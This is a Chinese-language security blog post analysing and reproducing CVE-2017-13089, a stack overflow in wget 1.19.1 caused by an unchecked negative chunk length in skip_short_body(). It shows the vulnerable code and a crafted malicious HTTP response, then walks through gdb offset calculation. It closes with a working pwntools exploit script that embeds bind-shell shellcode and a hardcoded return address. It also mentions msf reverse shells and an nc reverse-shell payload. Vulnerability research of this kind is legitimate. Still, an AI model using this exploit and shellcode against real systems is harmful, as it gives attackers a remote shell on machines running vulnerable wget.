• Home
  • About
    • le3d1ng photo

      le3d1ng

      wake up u need #...

    • Learn More
    • Twitter
    • Facebook
    • Instagram
    • Tumblr
    • Github
    • Steam
  • Posts
    • All Posts
    • All Tags
  • Links

2019.5.23 CVE-2017-13089

23 May 2019

Reading time ~3 minutes

CVE-2017-13089 wget栈溢出漏洞分析与复现

漏洞描述

在处理分块编码的数据时,wget会使用skip_short_body()函数,函数中会调用strtol()来对每个块的长度进行读取,在1.19.2版本之前,并没有对读取到长度的正负进行检查。然后使用MIN宏在长度跟512之间选择一个最小的长度contlen,将此长度传给fd_read()作为参数向栈上读入相应字节的内容。若某块的长度为负,经strtol()处理后,返回的size为有符号整形(8-byte),MIN()宏也会认size比512小,会将此8-byte负数作为参数传给fd_read(),fd_read()只取其低4-byte,因此contlen可控,栈上写内容的长度可控,可以造成栈溢出。

漏洞复现

OS:Ubuntu 16.04 64bit debugger:gdb-peda(memsearch比较方便) wget v1.19.1

编译安装1.19.1版本的wget:

$ sudo apt-get install libneon27-gnutls-dev
$ wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
$ tar zxvf wget-1.19.1.tar.gz
$ cd wget-1.19.1

这里为了方便调试,把程序的canary和NX保护关闭掉。

$ vim configure.ac

在788行下面加入

CFLAGS="-fno-stack-protector $CFLAGS"
CFLAGS="-z execstack $CFLAGS"

即可

$ make && sudo make install
$ wget -V

5ce7b1520155322823

5ce7d216d558e63525

漏洞分析

漏洞函数 skip_short_body():

static bool
skip_short_body (int fd, wgint contlen, bool chunked)
{
  enum {
    SKIP_SIZE = 512,                /* size of the download buffer */
    SKIP_THRESHOLD = 4096        /* the largest size we read */
  };
  wgint remaining_chunk_size = 0;
  char dlbuf[SKIP_SIZE + 1];
  dlbuf[SKIP_SIZE] = '\0';        /* so DEBUGP can safely print it */

  /* If the body is too large, it makes more sense to simply close the
     connection than to try to read the body.  */
  if (contlen > SKIP_THRESHOLD) //contlen 小于等于 4096字节
    return false;

  while (contlen > 0 || chunked) //数据使用分块编码
    {
      int ret;
      if (chunked)
        {
          if (remaining_chunk_size == 0)
            {
              char *line = fd_read_line (fd);
              char *endl;
              if (line == NULL)
                break;

              remaining_chunk_size = strtol (line, &endl, 16);  // 未检查remaining_chunk_size是否为负
              xfree (line);

              if (remaining_chunk_size == 0)
                {
                  line = fd_read_line (fd);
                  xfree (line);
                  break;
                }
            }

          contlen = MIN (remaining_chunk_size, SKIP_SIZE);  // contlen 为可控变量
        }

      DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

      ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);  // 引发溢出
      if (ret <= 0)
        {
          /* Don't normally report the error since this is an
             optimization that should be invisible to the user.  */
          DEBUGP (("] aborting (%s).\n",
                   ret < 0 ? fd_errstr (fd) : "EOF received"));
          return false;
        }
      contlen -= ret;

      if (chunked)
        {
          remaining_chunk_size -= ret;
          if (remaining_chunk_size == 0)
            {
              char *line = fd_read_line (fd);
              if (line == NULL)
                return false;
              else
                xfree (line);
            }
        }

      /* Safe even if %.*s bogusly expects terminating \0 because
         we've zero-terminated dlbuf above.  */
      DEBUGP (("%.*s", ret, dlbuf));
    }

  DEBUGP (("] done.\n"));
  return true;
}

找了一下进入漏洞函数的几个地方,发现一个条件比较简单的,在src/http.c的第3493行:

3493   if (statcode == HTTP_STATUS_UNAUTHORIZED) //返回码为401 UNAUTHORIZED
3494     {
3495       /* Authorization is required.  */
3496       uerr_t auth_err = RETROK;
3497       bool retry;
3498       /* Normally we are not interested in the response body.
3499          But if we are writing a WARC file we are: we like to keep everyting.  */
3500       if (warc_enabled) //文件不是WARC(Web ARChive)格式 进入下面的else分支
3501         {
3502           int _err;
3503           type = resp_header_strdup (resp, "Content-Type");
3504           _err = read_response_body (hs, sock, NULL, contlen, 0,
3505                                     chunked_transfer_encoding,
3506                                     u->url, warc_timestamp_str, 
3507                                     warc_request_uuid, warc_ip, type,
3508                                     statcode, head);
3509           xfree (type);
3510 
3511           if (_err != RETRFINISHED || hs->res < 0)
3512             {
3513               CLOSE_INVALIDATE (sock);
3514               retval = _err;
3515               goto cleanup;
3516             }
3517           else
3518             CLOSE_FINISH (sock);
3519         }
3520       else
3521         {
3522           /* Since WARC is disabled, we are not interested in the response body.  */
3523           if (keep_alive && !head_only
3524               && skip_short_body (sock, contlen, chunked_transfer_encoding)) //进入漏洞函数
3525             CLOSE_FINISH (sock);
3526           else
3527             CLOSE_INVALIDATE (sock);
3528         }
...

根据上面的条件可以构造一个返回包调试一下:

HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFF0000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0

5ce7d2729cb9d61842

gdb调试wget:

在strtol()处下断,run起来

gdb wget
disassemble skip_short_body
b *0x000000000041efaa
r localhost:6666

5ce7d2ad20f2e41504

成功断下。ni一步,看RAX。

5ce7d3052450d32918

5ce7d32f8a5ad54534

可以看到strtol函数返回值为:0xffffffff00010000

公式大概是这样。

5ce7d3517282146399

继续ni,到fd_read()处查看传入的参数。

5ce7d3855de0315038

可以看到,这里取了0x10000也就是0xffffffff00010000的低4字节作为长度参数,往0x7fffffffd770中写数据也就是’AAAAAAAAAAAAA…‘。

然而ni过去,并没有写入,考虑可能是contlen太大了。

5ce7d4f36f82466756

size换成-0xfffff000,重新试一下,这次处理后的contlen为0x1000,成功写入。

5ce7d5516c97666301

5ce7d55d45ad818324

c继续,成功 crash ,覆写了ebp , 控制栈上的数据再ret可以控制rip,劫持程序控制流。

5ce7d7593b8cf94754

这里可以计算出来offset。

distance 0x7fffffffd770 0x7fffffffd9a8

5ce7d7e489dfd78320

漏洞利用

因为之前关了NX与canary,所以可以直接写入shellcode,然后ret过去。

当然ROP也可以。(我尝试利用ROP,执行system(payload) , payload为用nc反弹shell的payload的地址。但是没成功,看起来system只能将payload中的前7个字节当参数?)

这里的shellcode可以使用msf生成reverse shell payload,用msf监听。

也可以用bind shell。

bindshell

#!/usr/bin/env python
# -*- coding=utf8 -*-
"""
# Author: le3d1ng
# Created Time : 2019年05月23日 星期四 17时29分13秒
# File Name: exp.py
# Description:
"""
from pwn import *

payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFF000
"""
port = p64(6324).replace('\x00','')[::-1]
sc = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02"+port+"\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"


payload += sc + (568-len(sc))*'A'
payload += "\x70\xd7\xff\xff\xff\x7f\x00\x00" #输入数据起始地址
payload += "\n0\n"

with open('ppp','wb') as f:
    f.write(payload)

5ce7dfd54a4cc69963

5ce7dff741c6335277

5ce7e0605e55d74033



wgetstackoverflowrevulncve Share Tweet +1